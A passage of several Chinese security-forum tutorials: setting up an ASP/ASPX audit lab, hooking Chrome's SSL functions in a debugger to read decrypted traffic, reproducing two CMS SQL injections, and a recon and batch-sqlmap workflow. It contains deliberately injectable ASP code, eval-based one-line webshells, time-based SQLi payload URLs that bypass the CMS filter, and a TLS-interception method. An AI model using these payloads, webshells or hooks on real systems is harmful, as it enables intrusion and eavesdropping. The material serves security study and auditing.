本地链接 IPv6 地址. . . . . . . . : fe80::a1e9:be2b:e47:4ace%3
IPv4 地址 . . . . . . . . . . . . : 10.211.55.20
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : fe80::21c:42ff:fe00:18%3
10.211.55.1
在桌面创建一个存放网站内容的文件夹C:Usersxq17Desktopasptest (PD虚拟机 Mac可以直接访问到window文件夹)
创建一个index.asp在网站目录
<!DOCTYPE html>
<html>
<body>
<%
response.write("Hello World!")
%>
</body>
</html>
可以发现提示401访问权限错误。
HTTP 错误 401.3 – Unauthorized
由于 Web 服务器上此资源的访问控制列表(ACL)配置或加密设置，您无权查看此目录或页面。
其实是文件夹权限问题，参考https://blog.csdn.net/wyz670083956/article/details/79092446配置个everyone用户即可,流程如下:
编辑权限->安全->添加->高级->立即查找->下方列出的对象选择Everyone即可。
下面操作都是在iis配置下。
我们需要设置下iis的默认文档添加个index.asp
为了调试方便,我们开启目录浏览功能
这个时候Mac访问发现失败,只需要关闭下window自带防火墙即可。
## 0x4 Asp代码审计初准备
代码审计最基本要求是掌握审计程序使用的语言的基本语法,这里推荐菜鸟教程[ASP教程](https://www.runoob.com/asp/asp-tutorial.html),方便上手
那么检验和巩固自己学习成功的最好是手段,是尝试自己去写一个漏洞网站,熟悉下开发的流程。因为asp不是很常用,所以这里只针对高危的审计点进行说明,后面如果在渗透过程遇到有意思的aspweb程序,我会补上这个系列。
### 0x4.1 编写基于Access的注入点测试网站
**0.开启错误提示(debug模式)**
这样能让我们快速找到代码出错的原因。
**1.利用office自带 Access创建个Access数据库:**
Databasename:sql.mdg
tablename: sql
Column:id username password
然后保存的时候选择mdb格式
**2.编写一个sql.asp页面**
代码如下:
连接数据库方式: 有时候会有权限问题,具体查看网站报错内容
conn.asp
‘ DSN-less 连接
<%
set conn=Server.CreateObject("ADODB.Connection")
conn.Provider="Microsoft.Jet.OLEDB.4.0"
conn.Open "c:/users/xq17/desktop/asptest/sql.mdb"
%>
‘ ODAC 连接 这个需要配置下数据源 有时候不对的时候要设置下iis中的应用程序->开启32位应用程序支持
<%
set conn=Server.CreateObject("ADODB.Connection")
conn.Open "sql"
%>
sql.asp
<!--#include file="conn.asp" -->
<%
set rs=Server.CreateObject("ADODB.recordset")
sqlc="select * from admin where username='" & Request.QueryString("username") & "' and password='" & Request.QueryString("password") & "'" '漏洞点
Response.Write("SQL:" & sqlc)
rs.Open sqlc,conn,1,1
username= rs("username")
Response.AddHeader "Content-Type","text/html; charset=UTF-8"
' if username="" then
' Response.Write("<br> 登陆失败")
' End if
if not rs.eof then
Response.Write("<br>当前登陆的信息为:<br>")
do until rs.EOF
for each x in rs.Fields
Response.Write(x.name)
Response.Write(" = ")
Response.Write(x.value & "<br>")
next
Response.Write("<br>")
rs.MoveNext
loop
End if
rs.close
%>
可以看到这里的直接通过Request.QueryString(“password”)获取然后拼接进入SQL语句,导致了注入
### 0x4.2 经典的双文件上传漏洞代码并且分析成因
其实我们平时遇到asp的源码,无非路子常见就只有3条
(1)越权
(2)注入
(3)上传
越权只要读下全局check_login就好了,所以这里主要分析下经典的双文件上传漏洞及其成因。
推荐一篇古老的文章: [ASP上传漏洞](https://blog.51cto.com/blackvan/842156)
关于真实案例,只能等有机会再去审计一波了,asp的其实黑盒测试足矣,基本截断通杀。
程序没有filepath=replace(filepath,chr(0),””) 路径和文件名可控， 那么直接可以截断通杀
还有就是大小写的问题,过滤不言,黑名单不全等问题。
### 0x4.3 经典的命令执行木马
1.<%=Eval(Request(“xq17”))%>
2.<%eval request(“xq17”)%>
相应等价Eval的还有 Execute 、ExecuteGlobal(不输出结果)
审计的时候重点关注这些函数,如果参数可控直接getshell。
## 0x5 Aspx代码审计初准备
关于asp.net代码审计,其实最开始的思路就是要自己了解c#语言的基本语言结构,然后自己去尝试开发一个简单asp.net的项目,然后尝试逆向对比和源码的区别,从而做到心中有数。
### 0x5.1 IDE的选择
asp.net审计我觉得最好从一个项目的开发流程来走,快速生成项目模版和运行，所以我觉得visual studio值得选择。
所以可以选择在 win10 -> 安装visual studio社区版
这里推荐下,我是如何学习vs的使用的。
推荐这篇文章: [欢迎使用 Visual Studio IDE | C#](https://docs.microsoft.com/zh-cn/visualstudio/get-started/csharp/visual-studio-ide?view=vs-2017)
通过这篇文章你可以快速上手visual stdio的使用。
(1) 了解一些基础tips 转向函数定义 变量重命名 内联文档 (查阅官方高效性方面的常用功能)
(2)实战操作建立一个hello world的C#程序
(3)实战建立一个asp.net Web 项目
### 0x5.2 浅谈下C#的快速入门
快速入门[C# 菜鸟教程](https://www.runoob.com/csharp/csharp-tutorial.html)
(0) 了解注释
C#语言中包含了三种注释符
(1).单行注释 //
(2).多行注释 /*要注释的内容*/ 注意:多行注释不能嵌套使用
(3).文档注释 /// 文档注释可以用来注释方法,也可以用来注释类.
(1) 了解程序最小结构
using System; //包含System命名空间
namespace HelloWorldApplication // 空间声明
{
class HelloWorld //类声明
{
static void Main(string[] args) //定义Main方法,C# 程序入口点
{
/* 我的第一个 C# 程序*/ //注释
Console.WriteLine("Hello World"); //system空间下Console类的放啊放
Console.ReadKey(); //等待按键然后结束
}
}
}
(2)学习顺序、选择、循环基本结构
(3)了解下异常处理
try
{
//自己的代码
}
catch(ExceptionName e1)
{
// 错误处理代码
}
catch(ExceptionName e2)
{
// 错误处理代码
}
finally
{
//要执行的语句
}
这些知识,可以让你基本读懂代码,后面就可以采取通过不断阅读各种代码的学习方式,加深对其他内容的学习。
### 0x5.3 尝试去建立一个hello world c# 程序
查看解决方案管理器,可以看到项目文件的构成。
可以看到执行成功,然后查看下目录生成的内容,对比进行了解一些编译连接过程产生的文件。
Main函数代码主要是如下(模版)
using System;
namespace HelloWorld
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
}
}
}
### 0x5.4 建立一个asp.net Web 项目
参考链接: [创建web应用](https://docs.microsoft.com/zh-cn/visualstudio/get-started/csharp/tutorial-aspnet-core?view=vs-2017)
后面深入学习的话尝试两种经典的设计模式MVC and Razor:
[web应用设计](https://docs.microsoft.com/zh-cn/aspnet/core/tutorials/razor-pages/?view=aspnetcore-2.1)
这里先直接介绍下流程
项目创建->项目部署->反编译查看
**0x5.4.1 (1)项目创建**
这里的解决方案模版是基于 Razor 页面设计模式,也是MVC架构,非常方便。
**0x5.4.2 (2)项目部署**
**0x5.4.3 (3)dnSpy反编译**
然后对比源码:
可以看到反编译DLL的结果其实也只是能大概了解逻辑而已,跟源码还是有一定差异的。
## 0x6 远程搭建调试环境思路
这里可以介绍下远程环境搭建思路(比如在阿里云安装了windowserver 2008),如何进行本地调试？
这里我们可以采取nfs远程共享文件夹的方式,在本地电脑挂载远程服务器的网站目录
**(1) 远程环境window下:**
下载 [hane win nfs server](https://www.hanewin.net/nfs-e.htm) (ps.我自己下载的是汉化版的。逃)
然后配置下输出选项下的内容
# exports example
C:\ftp -range 192.168.1.1 192.168.1.10
c:\public -public -readonly
c:\tools -readonly 192.168.1.4
c:\users\xq17\desktop\asp\test -public -name:asptest
然后开始->搜索重启所有服务 这样就可以成功挂载 参考这个文章:
[Windows10配置NFS服务端和客户端](https://www.cnblogs.com/xuxy03/p/6232378.html)
然后MAC本机对这个目录进行远程挂载。
查看挂载的目录: showmount -e 10.211.55.20
Mac进行挂载:
sudo mount -o resvport 10.211.55.20:/asptest /tmp/test
卸载的话在Finder,mac的没有unmount 命令,如果有其他命令,希望师傅能告诉下我。
**(2) 远程环境Linux下:**
1.安装nfs服务器 sudo apt install nfs-kernel-server
2.配置/etc/exports 配置文件
/tmp *(rw,sync,no_subtree_check,no_root_squash)
3.重启服务
sudo service nfs-kernel-server restart
Mac进行挂载:
sudo mount -t nfs 47.101.46.x:/tmp /tmp/test 发现失败 Operation not permitted
sudo mount -o resvport 47.101.46.x:/tmp /tmp/test
可以看到挂载成功
linux下取消挂载
sudo unmount /tmp/test
但是mac好像没有这个命令,不过我们可以选择去finder 点击卸载。
## 0x7 总结和反思
本文主要记录了自己在探索Asp和Asp.net审计过程的摸索和尝试,基本是0基础出发的,所以文中可能会诸多纰漏或者低级错误,欢迎师傅指出和提供相关资料让我去学习。后面我会针对Asp.net的审计进行重点学习,对具体的开发流程和反编译原理进行深一步研究,从而寻找一种高效可行的Asp.net审计方案。 | 社区文章 |
# 通过Hooking Chrome浏览器的SSL函数实现读取SSL通信数据
|
##### 译文声明
本文是翻译文章，文章原作者 NYTROSECURITY，文章来源：https://nytrosecurity.com/
原文地址：<https://nytrosecurity.com/2018/02/26/hooking-chromes-ssl-functions/>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 前言
NetRipper可以用来捕获加密/解密数据的函数，然后把它们通过网络发送出去。这对于Firefox这种能够找到PR_Read和PR_Write这两个DLL导出函数的应用来说是很容易的，但对于Google
Chrome这种没有导出SSL_Read和SSL_Write函数的就要难一些了。
当我们要拦截这种调用时，面临的最大问题是我们无法快速地从庞大的chrome.dll文件中找到相应的函数。于是我们不得不手动地在二进制文件里查找。但我们该怎么做到呢？
## Chrome的源码
为了达到目的，最好的选择可能是从Chrome的源码开始。这是Chrome的源码：<https://cs.chromium.org/>
。有了源码，查找分析就方便多了。
我们注意到Chrome使用了OpenSSL的分支boringssl，它的源码在这里：<https://cs.chromium.org/chromium/src/third_party/boringssl/>
。
接下来，我们要找到SSL_read和
SSL_write这两个函数，我们很快发现它们在[ssl_lib.cc](https://cs.chromium.org/chromium/src/third_party/boringssl/src/ssl/ssl_lib.cc)文件中。
这是SSL_read：
int SSL_read(SSL *ssl, void *buf, int num) {
int ret = SSL_peek(ssl, buf, num);
if (ret <= 0) {
return ret;
}
// TODO(davidben): In DTLS, should the rest of the record be discarded? DTLS
// is not a stream. See https://crbug.com/boringssl/65.
ssl->s3->pending_app_data =
ssl->s3->pending_app_data.subspan(static_cast<size_t>(ret));
if (ssl->s3->pending_app_data.empty()) {
ssl->s3->read_buffer.DiscardConsumed();
}
return ret;
}
这是SSL_write：
int SSL_write(SSL *ssl, const void *buf, int num) {
ssl_reset_error_state(ssl);
if (ssl->do_handshake == NULL) {
OPENSSL_PUT_ERROR(SSL, SSL_R_UNINITIALIZED);
return -1;
}
if (ssl->s3->write_shutdown != ssl_shutdown_none) {
OPENSSL_PUT_ERROR(SSL, SSL_R_PROTOCOL_IS_SHUTDOWN);
return -1;
}
int ret = 0;
bool needs_handshake = false;
do {
// If necessary, complete the handshake implicitly.
if (!ssl_can_write(ssl)) {
ret = SSL_do_handshake(ssl);
if (ret < 0) {
return ret;
}
if (ret == 0) {
OPENSSL_PUT_ERROR(SSL, SSL_R_SSL_HANDSHAKE_FAILURE);
return -1;
}
}
ret = ssl->method->write_app_data(ssl, &needs_handshake,
(const uint8_t *)buf, num);
} while (needs_handshake);
return ret;
}
为什么我们要看这些代码？原因很简单：在二进制文件中，我们可能找到在源码中也能找到的东西，例如字符串和特定的值。
事实上前阵子我就提到了接下来我要介绍的部分内容，可能是在[这篇文章](http://www.rohitab.com/discuss/topic/41729-google-chrome-ssl-write-hook-openssl/)。但为了让大家不仅能在Chrome中，而且在其他工具如Putty，WinSCP中也会查找函数，我将涵盖所有这些方面。
## SSL_write函数
虽然SSL_read函数没有提供有用的信息，但我们可以从SSL_write函数开始,然后可以发现信息：
OPENSSL_PUT_ERROR(SSL, SSL_R_UNINITIALIZED);
这是OPENSSL_PUT_ERROR宏：
// OPENSSL_PUT_ERROR is used by OpenSSL code to add an error to the error
// queue.
#define OPENSSL_PUT_ERROR(library, reason)
ERR_put_error(ERR_LIB_##library, 0, reason, __FILE__, __LINE__)
这些信息很有用：
* ERR_put_error是一个函数调用
* reason是第二个参数，SSL_R-UNINITIALIZED情况下值是226（0xE2）
* _ _FILE__ 是真实文件名，ssl_lib.cc的完整地址
* _ _LINE__ 是ssl_lib.cc文件中的当前行号
这些信息能帮我们找到SSL_write函数。为什么呢？
* 我们知道了它是一个函数调用，所以参数（如reason,_ _FILE **and** LINE__）会被放到栈中（x86）
* 我们知道了reason （0xE2）
* 我们知道了_ _FILE__ （ssl_lib.cc）
* 我们知道了_ _LINE__ （在这个版本是1060，即0x424）
但是如果用的是别的版本呢？行号可能完全不同。这种情况下，我们需要看一下Chrome是如何使用boringSSL的。
我们可以在这里找到不同版本的源码：<https://chromium.googlesource.com/chromium/src.git>
。例如，我现在用的是Version 65.0.3325.181 (Official Build)
(32-bit)这个版本。我们可以在这找到源码：<https://chromium.googlesource.com/chromium/src.git/+/65.0.3325.181>
。接下来，我们要找到boringSSL的代码，但它好像不在这里面。无论如何，我们可以找到[DEPS](https://chromium.googlesource.com/chromium/src.git/+/65.0.3325.181/DEPS)这个很有帮助的文件，然后得到一些信息：
vars = {
...
'boringssl_git':
'https://boringssl.googlesource.com',
'boringssl_revision':
'94cd196a80252c98e329e979870f2a462cc4f402',
现在我们知道了这个版本的Chrome通过<https://boringssl.googlesource.com>
来获取boringSSL，使用的是这个版本：94cd196a80252c98e329e979870f2a462cc4f402。根据这些信息，我们就可以在[这里](https://boringssl.googlesource.com/boringssl/+/94cd196a80252c98e329e979870f2a462cc4f402)
准确地得到boringSSL的代码，这是[ssl_lib.cc](https://boringssl.googlesource.com/boringssl/+/94cd196a80252c98e329e979870f2a462cc4f402/ssl/ssl_lib.cc)文件。
我们看一下接下来要怎么才能找到SSL_write函数：
1. 在chrome.dll的只读部分（.rdata）中搜索“ssl_lib.cc”文件名。
2. 得到完整路径然后搜索引用
3. 查找所有字符串引用，根据“reason”和行号变量找到正确的结果。
## SSL_read函数
要找到SSl_write函数并不难因为它有OPENSSL_PUT_ERROR,但SSL_read没有。我们来看看SSL_read是怎样运行的然后跟踪一下。
我们很容易发现它调用了SSL_peek：
int ret = SSL_peek(ssl, buf, num);
SSL_peek将会调用ssl_read_impl函数：
int SSL_peek(SSL *ssl, void *buf, int num) {
int ret = ssl_read_impl(ssl);
if (ret <= 0) {
return ret;
}
...
}
这个ssl_read_impl函数好像能提供一些有用的信息：
static int ssl_read_impl(SSL *ssl) {
ssl_reset_error_state(ssl);
if (ssl->do_handshake == NULL) {
OPENSSL_PUT_ERROR(SSL, SSL_R_UNINITIALIZED);
return -1;
}
...
}
通过搜索发现ssl_read_impl只被调用了两次，分别是SSL_peek函数和SSL_shutdown函数，于是找到SSL_peek函数就很容易了。找到SSL_peek函数后，SSL_read函数就在眼前了。
## 32位Chrome
现在我们知道怎么查找函数了，那么找到它们吧。
接下来我将会使用[x64dbg](https://x64dbg.com/)，但你也可以用别的工具。我们需要找到”Memory”标签然后查找chrome.dll。我们需要先做两件事：
* 在反汇编工具里打开代码区域，右击“.text”，然后选择“Follow in Disassembler”
* 打开dump窗口下的只读数据区域，右击“.rdata”，然后选择“Follow in Dump”
现在可以在dump窗口看到“ssl_lib.cc”字符串了，在窗口内右击，选择“Find
Pattern”然后搜索ASCII字符串。可以看到一个搜索结果，双击它然后返回直到找到ssl_lib.cc的完整路径。右击路径的第一个字节，如下图所示，选择“Find
References”，看看它在哪被调用了（OPENSSL_PUT_ERROR函数调用）
[](https://p3.ssl.qhimg.com/t01921717a69268f22e.jpg)
看起来好像有多个引用，但我们可以一个一个找。结果如下图：
[](https://p4.ssl.qhimg.com/t0143044efc22d2651c.jpg)
我们看看最后一个，看看它是怎样的：
6D44325C | 68 AD 03 00 00 | push 3AD |
6D443261 | 68 24 24 E9 6D | push chrome.6DE92424 | 6DE92424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6D443266 | 6A 44 | push 44 |
6D443268 | 6A 00 | push 0 |
6D44326A | 6A 10 | push 10 |
6D44326C | E8 27 A7 00 FF | call chrome.6C44D998 |
6D443271 | 83 C4 14 | add esp,14 |
看起来和我们想象的一样，是一个有五个参数的函数调用。你可能知道参数在栈上是从右往左的，我们看下面：
1. push 3AD – 行号
2. push chrome.6DE92424 – 字符串，文件路径
3. push 44 – reason
4. push 0 – 一直是0的参数
5. push 10 – 第一个参数
6. call chrome.6C44D998 – 调用 ERR_put_error函数
7. add esp,14 – 清除栈
0x3AD表示行号是941，它在”ssl_do_post_handshake”内，所以我们不需要它。
### SSL_write
SSL_write函数在第1056（0x420）行和第1061（0x425）行调用了这个函数，所以我们需要在开始时通过push 420或者push
425来找到调用。通过结果我们只需要几秒就能找到它：
6BBA52D0 | 68 25 04 00 00 | push 425 |
6BBA52D5 | 68 24 24 E9 6D | push chrome.6DE92424 | 6DE92424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6BBA52DA | 68 C2 00 00 00 | push C2 |
6BBA52DF | EB 0F | jmp chrome.6BBA52F0 |
6BBA52E1 | 68 20 04 00 00 | push 420 |
6BBA52E6 | 68 24 24 E9 6D | push chrome.6DE92424 | 6DE92424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6BBA52EB | 68 E2 00 00 00 | push E2 |
6BBA52F0 | 6A 00 | push 0 |
6BBA52F2 | 6A 10 | push 10 |
6BBA52F4 | E8 9F 86 8A 00 | call chrome.6C44D998 |
在这里我们看到都是函数调用，但是只提到第一个是优化了的。现在我们只需要返回直到找到类似函数开头的东西。虽然这可能不是其他函数的情况，但在我们的情况下是这样的，我们很容易通过经典函数序言找到它：
6BBA5291 | 55 | push ebp |
6BBA5292 | 89 E5 | mov ebp,esp |
6BBA5294 | 53 | push ebx |
6BBA5295 | 57 | push edi |
6BBA5296 | 56 | push esi |
在6BBA5291处设置一个断点，看看当我们用Chrome浏览一些HTTPS网站（为避免一些问题，不要浏览SPDY或HTTP/2.0的网站）时会发生什么。
下面是一个看看断点触发时我们可以从栈顶得到什么的例子：
06DEF274 6A0651E8 return to chrome.6A0651E8 from chrome.6A065291
06DEF278 0D48C9C0 ; First parameter of SSL_write (pointer to SSL)
06DEF27C 0B3C61F8 ; Second parameter, the payload
06DEF280 0000051C ; Third parameter, payload size
如果你右击第二个参数，然后选择“Follow DWORD in Dump”, 你应该可以看到类似下面的数据：
0B3C61F8 50 4F 53 54 20 2F 61 68 2F 61 6A 61 78 2F 72 65 POST /ah/ajax/re
0B3C6208 63 6F 72 64 2D 69 6D 70 72 65 73 73 69 6F 6E 73 cord-impressions
0B3C6218 3F 63 34 69 3D 65 50 6D 5F 66 48 70 72 78 64 48 ?c4i=ePm_fHprxdH
### SSL_read
现在来找SSL_read函数。我们发现来自一个来自ssl_read_implh函数对“OPENSSL_PUT_ERROR”的调用。这个调用发生在第962（0x3C2）行。我们再看下结果然后找到它，如下：
6B902FAC | 68 C2 03 00 00 | push 3C2 |
6B902FB1 | 68 24 24 35 6C | push chrome.6C352424 | 6C352424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6B902FB6 | 68 E2 00 00 00 | push E2 |
6B902FBB | 6A 00 | push 0 |
6B902FBD | 6A 10 | push 10 |
6B902FBF | E8 D4 A9 00 FF | call chrome.6A90D998 |
现在我们应该很容易地找到函数的开始了。右击第一个指令（push EBP），转到“Find references”，然后“Selected
Address(es)”。
[](https://p0.ssl.qhimg.com/t012a76055a419803eb.jpg)
我们可以发现只有一个对函数的调用，而且应该是SSL_peek。找到SSL_peek的第一条指令然后重复同样的操作。我们只得到来自SSL_read对SSL_peek的调用这个结果。所以我们找到了。
6A065F52 | 55 | push ebp | ; SSL_read function
6A065F53 | 89 E5 | mov ebp,esp |
...
6A065F60 | 57 | push edi |
6A065F61 | E8 35 00 00 00 | call chrome.6A065F9B | ; Call SSL_peek
我们来设置一个断点，一个正常的调用我们可以看到下面的信息：
06DEF338 6A065D8F return to chrome.6A065D8F from chrome.6A065F52
06DEF33C 0AF39EA0 ; First parameter of SSL_read, pointer to SSL
06DEF340 0D4D5880 ; Second parameter, the payload
06DEF344 00001000 ; Third parameter, payload length
接下来右击第二个参数然后选择“Follow DWORD in Dump”，接着按“Execute til
return”按钮。这时在dump窗口应该可以看到一些纯文本数据：
0D4D5880 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HTTP/1.1 200 OK.
0D4D5890 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 69 .Content-Type: i
0D4D58A0 6D 61 67 65 2F 67 69 66 0D 0A 54 72 61 6E 73 66 mage/gif..Transf
所以我们同样成功地找到了。
## 结论
刚开始看起来可能觉得很难，但你也看到了，其实我们只要跟着源码走，还是很容易。这个方法应该适用于大多数开源应用。
x64版本应该是非常相似的，唯一的区别可能是汇编代码，这里我们不详细讲。
最后，请记住这种方法可能导致应用不稳定甚至可能奔溃。 | 社区文章 |
# 前言
xxxcms算是我审的第一个cms吧，前期感觉算是一个写的不怎么好的cms，伪全局变量的问题更是不知道引发了多少次漏洞。还记得那些网上的审计教程，说到变量覆盖这个问题都是以xxxcms来举例的。但后期逐渐来了次mvc的大换血，框架更新了下，变量问题也得到了相应调整，也算是逐渐在变好吧。
说了那么多，由于是第一个接触的cms问题，最近被爆出洞也就跟着一起复现了下（我好菜啊。。反正我就挖不到
# SQL注入1
漏洞出现在`app/system/message/web/message.class.php:37`的`add`函数中
public function add($info) {
global $_M;
if(!$_M[form][id]){
$message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'");
$_M[form][id]=$message[id];
}
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' and columnid = {$_M[form][id]}");
$_M[config][met_fd_ok]= $met_fd_ok[value];
...
可以看到`{$_M[form][id]}`没有被单引号包裹起来，从而可能产生注入。
但是是个cms就会存在字符串过滤，来看下其中的过滤语句`app/system/include/function/common.func.php:51`
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
if(!defined('IN_ADMIN')){
$string = trim(addslashes(sqlinsert($string)));
}else{
$string = trim(addslashes($string));
}
}
}
return $string;
}
`sqlinsert`函数里过滤了相当多的sql关键字，而且只要匹配到出现，参数就直接返回空（相当暴力了
这样，就要想办法绕过`!defined('IN_ADMIN')`限制，全局搜索一下这个定义的地方，就可以看到是在`admin/index.php`中
define('IN_ADMIN', true);
//接口
$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
但是直接去访问`add`模块的时候，就显示
add function no permission load!!!
是由于其只能调用带`do`的方法，这样，恰好在`add`函数上方，就存在一个
public function domessage() {
global $_M;
if($_M['form']['action'] == 'add'){
$this->check_field();
$this->add($_M['form']);
} ...
恰好调用了`$this->add($_M['form']);`,`$_M['form']`里保存的就是POST和GET传入的参数
然后就是构造payload，这里需要绕过`$this->check_field()`的验证，只要抓取正常留言的参数，就可以绕过，于是payload就变成了如下
http://localhost/xxx/admin/index.php
?m=web
&n=message
&c=message
&a=domessage
&action=add
¶137=admin
&[email protected]
¶138=15555555555
¶139=admin
¶140=admin
&id=10 or sleep(3)
这里我直接把sql语句die了出来
可以看到这里直接拼接到了sql语句中，不过需要控制好sleep的时间，跟数据条数有关，不过这里只是用于验证了
而且这里验证码的判断是在执行这条语句之后，否则，正常情况是要通过验证码判断才能执行语句
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' and columnid = {$_M[form][id]}");
$_M[config][met_fd_ok]= $met_fd_ok[value];
if(!$_M[config][met_fd_ok])okinfo('javascript:history.back();',"{$_M[word][Feedback5]}");
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code'])){
okinfo(-1, $_M['word']['membercode']);
}
}
实际情况中，漏洞原作者提供了一个更好的布尔盲注方式，可以参考<https://bbs.ichunqiu.com/thread-46687-1-1.html>
至于修复的话，就主要就是把`id`变量用单引号引起来就可以了
# SQL注入2
这个漏洞和之前的洞很相似了，但是存在限制条件
漏洞发生在`app/system/feedback/web/feedback.class.php:39`
public function add($info) {
global $_M;
$query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'";
$met_fd_ok=DB::get_one($query);
$_M[config][met_fd_ok]=$met_fd_ok[value];
if(!$_M[config][met_fd_ok]){
okinfo(-1, $_M['word']['Feedback5']);
}
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){
okinfo(-1, $_M['word']['membercode']);
}
}
if($this->checkword() && $this->checktime()){
foreach ($_FILES as $key => $value) {
if($value[tmp_name]){
$ret = $this->upfile->upload($key);//上传文件
if ($ret['error'] == 0) {
$info[$key]=$ret[path];
} else {
okinfo('javascript:history.back();',$_M[word][opfailed]);
}
}
}
$user = $this->get_login_user_info();
$fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER;
$ip=getip();
$feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'");
$_M[config][met_fd_class]=$feedcfg[value];
$fdclass2="para".$_M[config][met_fd_class];
$fdclass=$_M[form][$fdclass2];
$title=$fdclass." - ".$_M[form][fdtitle];
$addtime=date('Y-m-d H:i:s',time());
$met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_type' and columnid = {$_M[form][id]}");
....
还是最后一句的sql语句中没有单引号保护，但是可以看到前面有一个比较头疼的限制就是验证码
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){
okinfo(-1, $_M['word']['membercode']);
}
}
我这里图个方便，测试的时候就直接把验证码部分注释了
还是和之前一样的调用方式，就可以调用到这个`add`方法
需要注意的几点是，`lang=cn`还有`id=44`
最后的payload
http://localhost/xxx/admin/index.php
?m=web
&n=feedback
&c=feedback
&a=dofeedback
&lang=cn
&id=44 or sleep(0.01)
&action=add
实际当中就需要每次输入验证码，还有个120秒的请求限制 | 社区文章 |
## 使用OneForAll工具通过域名收集网址和ip
工具地址：<https://github.com/shmilylty/OneForAll>
常用命令：python oneforall.py --targets targets.txt run
targets.txt中放入需要扫描的域名，运行后会在results文件夹下生成扫描结果
在运行结果中我们可以看到有url、子域名、ip
其中运行结果中ip是一行多个、还有重复的，我们需要提取ip转换成每行一个ip且没有重复的txt文本中，方便其他工具扫描
脚本：删除重复ip
#!/usr/bin/env python
# conding:utf-8
##把同一行的ip换行,然后写进result.txt的文件里
with open('ip.txt','r',encoding='utf-8') as readlist:
for dirs in readlist.readlines():
with open('result.txt','a',encoding='utf-8') as writelist:
b = dirs.replace(",", '\n')
writelist.write(b)
#去除重复ip，然后把结果写进only.txt文件里
with open('result.txt','r',encoding='utf-8') as readlist:
lines_seen = set()
for line in readlist.readlines():
if line not in lines_seen:
lines_seen.add(line)
with open('only.txt','a',encoding='utf-8') as writelist:
writelist.write(line)
#参考文章：https://blog.csdn.net/qq_22764813/article/details/73187473?locationNum=1&fps=1
提取成这样单行一个ip且不重复的文本，我们就可以放到goby、fscan、小米范等工具中扫描
## fscan工具扫描ip
工具地址：<https://github.com/shadow1ng/fscan>
这款工具主要是用于内网扫描，发现资产以及进行漏洞扫描与弱口令爆破，运行速度很快，用于外网探测发现一些web资产也是不错的选择
常用命令：全端口扫描 fscan64.exe -hf ip.txt -p 1-65535 -o result.txt
ip.txt中放入需要扫描的ip地址，result.txt为运行结果
## 小米范
工具地址：<https://www.cnblogs.com/fsqsec/tag/%E6%88%91%E7%9A%84%E5%B0%8F%E5%B7%A5%E5%85%B7/>
（找不到这个版本的地址了，就贴个作者的博客地址吧）
## JSFinder扫描js及url
工具地址：<https://github.com/Threezh1/JSFinder>
常用命令：python JSFinder.py -f targets.txt -d -ou JSurl.txt -os JSdomain.txt
targets.txt中放入需要扫描的url，运行结束后生会成两个txt文本， JSurl.txt为URL，JSdomain.txt为子域名
上面这些工具的扫描结果中含有很多的url,我们需要效率高一些的话我们可以优先从参数下手，于是需要筛选含有参数的url
脚本：提取含有参数的url
#!/usr/bin/env python
# conding:utf-8
#字符串中有“？”且不在字符串的结尾的就写入result.txt中
with open('JSurl.txt','r',encoding='utf-8') as readlist:
for dirs in readlist.readlines():
# re_result=re.search(r"'?'",dirs)
# re_result=str(re_result)
if "?" in dirs :
#判断字符中是否有“？”，如果有则返回该字符串的位置，是从坐标0开始算的
re = dirs.find("?")
# a=len(dirs)-2是为了判断“？”是不是在最后一个字符，len()与find()不同是从一开始算字符串的长度的，在加上每行字符中\n换行符也占了一个字符，所以要减2
a=len(dirs)-2
#判断字符串中“？”是不是在字符的最后
if re < a :
with open('result.txt','a',encoding='utf-8') as writelist:
writelist.write(dirs)
#去除result.txt中的重复字符串，然后把结果写进only.txt文件里
with open('result.txt','r',encoding='utf-8') as readlist:
lines_seen = set()
for line in readlist.readlines():
if line not in lines_seen:
lines_seen.add(line)
with open('only.txt','a',encoding='utf-8') as writelist:
writelist.write(line)
#参考文章：https://www.cnblogs.com/luguankun/p/11846401.html（判断一个字符是否在一个字符串中）
运行完脚本生成的含有参数的url如下所示
## 从废弃接口中寻找漏洞
有些网站经过了多轮渗透，正常业务都测烂的，连逻辑漏洞都找不到，经历了上面一番信息收集后，一般能收集到网站的历史业务中的url。
然后我们将url使用脚本处理筛选之后的结果可以批量的放到sqlmap中跑，还有一些敏感接口可以尝试寻找越权、信息泄露等。
sqlmap批量扫描
常用命令：python sqlmap.py -m urls.txt --batch
